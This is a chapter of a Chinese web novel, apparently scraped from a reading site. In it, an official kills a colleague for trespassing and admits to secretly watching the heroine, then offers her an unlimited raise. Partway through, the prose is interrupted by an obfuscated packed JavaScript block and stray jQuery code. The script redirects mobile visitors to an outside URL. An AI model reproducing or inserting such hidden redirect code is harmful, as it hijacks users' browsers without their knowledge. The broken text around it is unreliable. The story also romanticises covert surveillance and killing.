23. 加薪!

作品:《疯鬼恩师每天都想强占我

    冯怀鹤把弓箭挂回墙壁,蹲身而下,拾起祝清脚边的花瓶碎片。


    姿态悠慢,神色自若,那被他射杀的同僚,仿佛不过一只山野鸡兔。


    “你方才说什么暗室?”


    祝清四肢发麻,她见过神策军斩杀曹娇的样子,神策军在历史上的威名她早已听闻,当时不过是感慨人命如草贱。


    可冯怀鹤?他看起来那么文雅风度的一个人……祝清努力压下喉咙的禁颤:“你为何杀他?”


    冯怀鹤拾碎瓷片的手一顿,停在她的裙边。


    绯色裙边被窗外送进来的微风荡起,像浮动的晚霞,美丽飘幻。


    冯怀鹤抬头,虽是自下而上地仰望祝清,眼睛里却只有身居高处的睥睨:“他擅闯掌书记院。”


    祝清不解地皱眉:“就因为这样?”


    “就这样?”冯怀鹤皱眉:“我不允许旁人擅入掌书记院的规矩早已经是明立的,即便是田令孜来幕府,他也不会入此院。此人却置若罔闻,与我而言,乃罪不可恕。”


    祝清辩驳:“那也不必杀了他啊,赶出去不就行了?”


    冯怀鹤拾起她脚边最后一块儿碎片,直起身来,高出她一个脑袋还多的身高,瞬间如山般压迫过来。


    “不必杀?等着下一个曹娇出现,让神策军再围一次幕府,到时再死多少无辜之人?”


    祝清不理解:“曹娇又不是来掌书记院偷的信,你也太草木皆兵了!”


    “若非如此,我早不知死了多少回!”


    “你若当真怀疑,大可以将他抓起来拷问!”


    祝清也不知自己哪里来的勇气,潜意识告诉她不可以跟领导如此争论,可身为现代人的灵魂又让她无法袖手旁观此事,她大声道:“何必直接杀了?”


    “拷问?”冯怀鹤冷笑一声,“如今是什么时候?群雄割据,枭雄争霸,多少细作互相潜伏?若他真有点儿什么,落在我手里,田令孜当他是曹娇同党,定会要他生不如死。他背后的主君或许担心秘密暴露,还会杀了与他有关系的所有人。


    “你觉得是死他一个好,还是大家一起死的好?”


    祝清愣住。


    一直以来的认知好似被冯怀鹤的话所冲垮。


    这里不是讲法律的现代社会,而是黑暗的五代十国,人吃人,两脚羊,礼崩乐坏,处处战争,只有她想不到,没有她见不到。


    她那一套仁慈法治的认知,在这个时代是行不通的。甚至是,有些天真。


    她没去过其他幕府,不知道旁的掌书记是不是也如冯怀鹤这般,警惕多疑,处处戒备。


    可是祝清仍然不甘心:“可是我以为你,纵观天下局势,谋盛世,谋百姓,你也是清溪村一步步爬上来的,我以为,你至少会感到百姓苦,珍百姓命,一定能想出别的办法解决,而不是制定一个荒唐可笑的规矩,然后草菅人命。”


    “你觉得我在草菅人命?”


    “是!你现在和神策军有什么区别?我也来过很多次掌书记院,还有厢房,小厨房,你怎么不连我也一起杀了?”


    “因为你从来没有离开过我的视线…”


    她在掌书记院的一举一动,一言一行,从来没有脱离过他的监视。


    祝清浑身一颤,血液逆流:“你说什么?”她不敢相信自己听见了什么。


    从来没有离开过他的视线?


    所以,每次来掌书记院,他都在暗中盯着她?


    可是……厢房那一次呢?她可是在那儿过夜了…


    难怪,难怪,那晚似乎听见爆爆呜呜咽咽,感觉有什么东西舔她的锁骨,她醒来掌灯,又什么都没看见。


    清晨一睁眼时,冯怀鹤就立在屏风旁。


    现在想想,恐怕他一直都在暗处,从她睡下,进那间暗室,到清晨醒来,全部都在他的监视里。


    在她不知情的情况下,他在那间厢房,与她共处了一整夜!


    传闻中背后的眼睛……


    祝清顿觉四肢发麻,头脑嗡嗡,眼前黑成了一片,晕乎乎的,连呼吸都不顺畅了。


    “你,你……”


    那晚舔她锁骨的,到底是爆爆,还是…


    冯怀鹤偏偏这时提起那一晚,问道:“你方才说,你进了暗室,什么暗室?”


    祝清头皮发麻,近乎要炸开。


    他不是都在暗中监视她,什么都清楚了么,竟然还在装?


    祝清不可置信地盯着眼前的男人,穿着松烟墨色的澜袍,像雨后的空山,明净寥远,也像雪盖的松林,澄白阔寂,腰间一条墨黑色的鸾带,更添得沉冷稳重。


    被窗外洒进来的日光一照,他俊美得跟画中人,天上仙似的。


    就连他的名字,也是心怀鹤梦,而大道至简,亦是才华熠熠、高明远阔的。


    怎么他的内心竟是如此?竟是如此?


    祝清开始想,如果放在她的时代,冯怀鹤的跟踪监视罪能判个多少年?


    思忖间,冯怀鹤开了口,“你是说厢房那个吧?”


    不知为何,他不再继续伪装了,却是说:“那间暗室不是我的。”


    祝清抬眸,该信吗?


    冯怀鹤:“那是上一任掌书记的。若真是我的,我会让你进去吗?还让你住厢房?”


    “……”


    好像有点道理,但总觉得哪里不对。


    还想说什么,冯怀鹤却不欲继续此话题:“行了,花种在桌案上,你先去种吧。”


    他拿好收拾起的碎瓷片,拂袖跨出门槛。


    目送他走向方才那从事倒下的地方,祝清猜出了他要去做什么。


    祝清捂住胸口吐气,转开了目光。


    心跳难抑得跳得很快,她感到有温热的液体从额际滑落,抬手一抹,满手的冷汗。


    她忍住惊悚的晕眩感,一面想着以后再也不来掌书记院,一面走向桌边,拿起明显是花种的一个小纸包,慢慢走出书记房。


    她找来铁锹,来到先前与冯怀鹤约定好种花的地方。


    原来那棵死树已经被冯怀鹤提前挖走,翻出一些新的黄土,盖了黄黄的薄薄一层。


    祝清用铁锹掘出一个小小的坑,把花种丢进去,再翻土盖上。


    种完起身,见冯怀鹤从远处的花草小径上走来。


    祝清自动进入戒备状态,警惕地望着他。


    冯怀鹤走到近前,看看黄黄的新土,再看看她,“种好了?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668414|188385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “嗯……”祝清看见他松墨色的琵琶广袖上,沾了几点腥红血沫。


    处理了那人的尸体,他却能如此平静。


    祝清嗅到了他带来的血腥味儿,冲在鼻腔喉咙里腥甜又恶心。


    她的脑海里不断浮现出同僚的喉咙被箭矢贯穿的画面,她一刻都不想再待下去了,低下头弱弱地问:“我能走了吗?”


    她低着头,不肯看他。


    冯怀鹤看她束起的发髻,在晚风中飘扬的发带,黑漆漆的后脑勺,很想很想留住她。


    留下来陪他用晚饭,陪他写公文,陪他过一生。


    她什么都不肖做,只要留在他的视线里,哪怕只是和爆爆一样,这儿睡觉那儿睡觉。


    但实在,没什么理由了。


    日头偏西,红红的夕阳光裹了她满身,纤白细长的脖颈近在眼前,冯怀鹤几乎可以看清楚她白腻肌肤上的细小绒毛。


    冯怀鹤沉默,晚风拂动旁边的灌木,簌簌作响,须臾,他道:“嗯,你回吧。做好准备,明日上值你就是判官,我会为你造势,希望你能机灵配合。”


    提起此事,祝清忍不住抬起头来。


    一眼,便撞进他布满霞色夕阳光的桃花眼里,暖色惊艳,眼底却清清淡淡,正直勾勾盯着她。


    四目相对,一冷淡,一惊慌。


    祝清急忙别开眼,看着刚种下种子的黄土,“说起这个,我想知道,你有什么计划吗?或者,大概需要多久?”


    冯怀鹤想了想:“不出一月。”


    竟有如此快!


    祝清在心中算了算,不知道在古代辞职,会不会也要一个月半个月的流程什么的。


    最好造势一成功,她马上就跑路,再不要跟他有瓜葛。


    祝清试探着问:“若是我辞工,会不会要很久?”


    她观察着冯怀鹤的神色。


    只见他脸色猛一沉了下来,阴恻恻地看过来:“你想辞工做什么?”


    自然是去做谋士,与他平起平坐,甚至是打败他,然后走上康庄大道,跟家人在五代十国活下去,运气好,还能载入史书,青史留名!


    祝清自然不能说真话,想了想,说:“因为世界那么大,我要去看看?”


    “……”


    冯怀鹤有些不耐:“说实话。”


    祝清干笑两声,说实话是不可能的,这辈子都不可能。


    这时,冯怀鹤又道:“是不是觉得俸禄不够?”


    祝清连忙点头:“对!你这点钱,我很难帮你办事啊!”


    幕府不是他开的,他总不可能为了自己去给田令孜申请加薪吧!


    对于她这种可有可无的小员工,领导一般都会画个大饼,然后再pua她几下,若是见她辞职心坚决,就在辞职前榨干她所有价值。


    祝清深呼吸,暗暗给自己打气,来吧来吧,大饼吃多了,pua听多了,她受得住!


    “我给你无限加,你要多少?”冯怀鹤说。


    “啊对对对,您说得都……”祝清猛一愣住,惊讶地看向冯怀鹤。


    无限?加?俸禄?


    突然觉得领导眉清目秀了起来!


    冯怀鹤不解:“你这是什么眼神?”